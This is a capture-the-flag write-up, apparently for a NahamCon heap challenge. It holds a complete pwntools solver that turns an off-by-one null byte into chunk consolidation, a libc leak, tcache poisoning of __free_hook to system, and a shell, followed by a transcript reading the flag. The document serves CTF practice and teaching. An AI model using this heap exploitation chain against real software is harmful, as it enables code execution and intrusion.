### Bug\Off-by-one nullbyte at `edit` and `create`.\Full solver,
```python#!/usr/bin/python3
from pwn import *
PATH = './chall'
GDBSCRIPT = ''''''
HOST = 'challenge.nahamcon.com'PORT = 31385
def debug(gdbscript):    if type(r) == process:        gdb.attach(r, gdbscript , gdb_args=["--init-eval-command='source ~/.gdbinit_pwndbg'"])
def choice(command):    r.recvuntil('-------------------------\n')    r.sendline(f'{command}')
def add(idx, size, email):    choice('add')    r.sendlineafter(':\n', f'{idx}')    r.sendlineafter(':\n', f'{size}')    r.sendafter(':\n', email)
def view_all():    choice('print')    r.recvline(0)    out = r.recvline(0)    arr = []    while b'Enter' not in out:        arr.append(out.split(b': ')[-1])        out = r.recvline(0)    return arr def edit(idx, email):    choice('edit')    r.sendlineafter(':\n', f'{idx}')    r.sendafter(':\n', email)
def delete(idx):    choice('delete')    r.sendlineafter(':\n', f'{idx}')
def exploit(r):    # Prepare free'd chunk size 0x10 for heap struct size 0x10 (contains: email size and email pointer)    add(0, 0x8, 'A'*0x4)    add(1, 0x8, 'A'*0x4)     delete(0)    delete(1)
    # tcachebins    # 0x10 [  4]: 0x5655a190 -> 0x5655a1a0 -> 0x5655a170 -> 0x5655a180 <- 0x0
    # Prepare target chunk for consolidate    add(0, 0x8c, 'A'*8)    add(1, 0x9c, 'A'*8)    add(2, 0xfc, 'A'*8)
    # Fill-up tcachebins (0x88 / 0x101)    for i in range(7):        add(3+i, 0xfc, 'A'*8)
    for i in range(7):        delete(i+3)
    # tcachebins    # 0x88 [  7]: 0x5655aa40 -> 0x5655a930 -> 0x5655a820 -> 0x5655a710 -> 0x5655a600 -> 0x5655a4f0 -> 0x5655a3e0 <- 0x0
    # Fill-up tcachebins (0x50 / 0x91)    for i in range(7):        add(3+i, 0x8c, 'A'*8)
    for i in range(7):        delete(i+3)
    # tcachebins    # 0x50 [  7]: 0x5655aea0 -> 0x5655ae10 -> 0x5655ad80 -> 0x5655acf0 -> 0x5655ac60 -> 0x5655abd0 -> 0x5655ab40 <- 0x0     delete(0)
    # Poisoning nullbyte and set fake prev_size of chunks[1].    edit(1, b'X'*8 + b'\n' + b'X'*0x8f + p32(0xa0 + 0x90))
    # Trigger, chunk[0] - chunk[2] will be consolidate.    delete(2)
    # Create chunks size 0x88 for gaining information leaks    add(0, 0x8c, 'A'*8 + '\n')    add(2, 0x8c, 'A'*8 + '\n')
    for i in range(4, 10):        add(i, 0x8c, 'A'*8 + '\n')
    # Now, chunk[1] contains address of main_arena    main_arena   = u32(view_all()[1][:4])    libc.address = main_arena - 0x1d57d8
    # libc.address = main_arena - 0x1d87d8
    print(f'[!] LEAK 0x{main_arena:x}')    print(f'[!] LIBC 0x{libc.address:x}')
    # Prepare space of global_email_ptr for tcache-poisoning.    delete(0)    delete(2)
    for i in range(4, 10):        delete(i)
    # Create chunks with size 0x200, overlap with chunk[1].    add(0, 0x200, 'X'*0x10)
    # Free chunks[1]    delete(1)
    # Tcache-poisoing, overwrite tcache FD pointer chunk[1] to __free_hook.    edit(0, b'A'*0x8c + p32(0x1a1) + p32(libc.sym['__free_hook']))
    # 0xd8 [  1]: 0x5655a240 -> 0x2aa4b8d0 (__free_hook) <- ...
    # Padding and prepare for string "/bin/sh".    add(1, 0x190, '/bin/sh')
    # Overwrite `__free_hook` to `__libc_system`    add(2, 0x190, p32(libc.sym['system']))
    # pwndbg> tel &__free_hook 1    # 00:0000│   0x2aa4b8d0 (__free_hook) -> 0x2a8af2e0 (system) ...
    # Trigger free("/bin/sh") -> system("/bin/sh") !    delete(1)     # debug(GDBSCRIPT)    '''    $ id    uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)    $ ls -l    total 2064    -rwxr-xr-x 1 notroot notroot    9468 Mar  7 03:33 chall    -rw-r--r-- 1 root    root         39 Mar  7 03:33 flag_066646e4be1e6ea2.txt    -rwxr-xr-x 1 root    root     159956 Mar  7 03:33 ld-linux.so.2    -rw-r--r-- 1 root    root         31 Mar  7 03:33 libc.txt    -rwxr-xr-x 1 root    root    1926828 Mar  7 03:33 libc6-i386_2.27-3ubuntu1_amd64.so    $ cat flag*    flag{e0ef1723c16102559a07c68e3c956e43}    '''
    r.interactive()
if __name__ == '__main__':    elf  = ELF(PATH)    libc = ELF('./libc.so.6', 0)
    if args.REMOTE:        r = remote(HOST, PORT)    else:        r = process(PATH, aslr=0, env={            'LD_PRELOAD' : './libc.so.6'        })    exploit(r)```